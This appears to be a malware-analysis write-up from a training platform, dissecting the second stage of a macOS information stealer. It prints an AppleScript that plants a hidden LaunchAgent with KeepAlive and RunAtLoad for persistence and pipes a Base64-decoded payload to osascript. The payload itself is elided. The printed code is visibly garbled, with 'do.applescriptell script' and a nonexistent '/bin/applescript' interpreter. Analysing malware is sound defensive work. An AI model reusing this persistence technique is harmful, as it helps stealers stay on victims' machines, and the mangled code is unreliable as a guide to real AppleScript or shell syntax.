InfoStealer · Dropper

Essential macOS Stealer - script.sh

Author: Moise Medici
Updated: 10 Sept 2026 · Completed
Difficulty: Easy
Platform: MacOS
Family: Essential macOS Stealer
Languages: Bash AppleScript
MITRE: T1059.002 (Command and Scripting Interpreter: AppleScript) T1059.004 (Command and Scripting Interpreter: Unix Shell) T1569.001 (System Services: Launchctl) T1543.001 (Create or Modify System Process: Launch Agent) T1548.006 (Abuse Elevation Control Mechanism: TCC Manipulation) T1027.010 (Obfuscated Files or Information: Command Obfuscation) T1027.016 (Obfuscated Files or Information: Junk Code Insertion) T1140 (Deobfuscate/Decode Files or Information) T1564.001 (Hide Artifacts: Hidden Files and Directories) T1056.002 (Input Capture: GUI Input Capture) T1539 (Steal Web Session Cookie) T1555.001 (Credentials from Password Stores: Keychain) T1555.003 (Credentials from Password Stores: Credentials from Web Browsers) T1555.005 (Credentials from Password Stores: Password Managers) T1016 (System Network Configuration Discovery) T1033 (System Owner/User Discovery) T1082 (System Information Discovery) T1083 (File and Directory Discovery) T1217 (Browser Information Discovery) T1005 (Data from Local System) T1074.001 (Data Staged: Local Data Staging) T1119 (Automated Collection) T1560.001 (Archive Collected Data: Archive via Utility) T1008 (Fallback Channels) T1071.001 (Application Layer Protocol: Web Protocols) T1102.001 (Web Service: Dead Drop Resolver) T1105 (Ingress Tool Transfer) T1041 (Exfiltration Over C2 Channel)

Stage2 Code Analysis

The content of stage2.applescript is:

1
do.applescriptell script "
2
SCRIPT_PATH=\"$HOME/Library/guqtsajmydvdqbwg\";
3
mkdir -p \"$HOME/Library/LaunchAgents\";
4
cat > \"$HOME/Library/LaunchAgents/com.guqtsajmydvdqbwg.plist\" <<END_PLIST
5
<?xml version=\"1.0\" encoding=\"UTF-8\"?>
6
<!DOCTYPE plist PUBLIC \"-//Apple Computer//DTD PLIST 1.0//EN\" \"http://www.apple.com/DTDs/PropertyList-1.0.dtd\">
7
<plist version=\"1.0\">
8
  <dict>
9
    <key>Label</key>
10
    <string>com.guqtsajmydvdqbwg</string>
11
    <key>KeepAlive</key>
12
    <true/>
13
    <key>RunAtLoad</key>
14
    <true/>
15
    <key>ProgramArguments</key>
16
    <array>
17
        <string>/bin/applescript</string>
18
        <string>-c</string>
19
        <string>echo '<large string>' | base64 -d | osascript</string>
20
    </array>
21
  </dict>
22
</plist>
23
END_PLIST
24
"
25
do.applescriptell script "launchctl unload ~/Library/LaunchAgents/com.guqtsajmydvdqbwg.plist 2>/dev/null"
26
do.applescriptell script "launchctl load ~/Library/LaunchAgents/com.guqtsajmydvdqbwg.plist"

Four things stand out:

At line 4, a new “app” is created, and its contents run from line 4 through line 23, between the two END_PLIST delimiters.
At lines 11 and 13, the KeepAlive and RunAtLoad parameters are specified to make the task restart if it fails and execute at logon, respectively. This provides persistence on macOS.
At line 19, another long Base64 string is decoded and executed with osascript.
At lines 25 and 26, the app is re-registered: it is unloaded first and then loaded. This likely replaces an older version if the device is already infected.

LaunchAgents is similar to Windows Task Scheduler. It executes apps registered in ~/Library/LaunchAgents; because the directory is in the user’s home folder, those agents are user-specific.

The block of code at line 19 can be decoded with:

1
echo "<long string>==" | base64 -d > stage3.applescript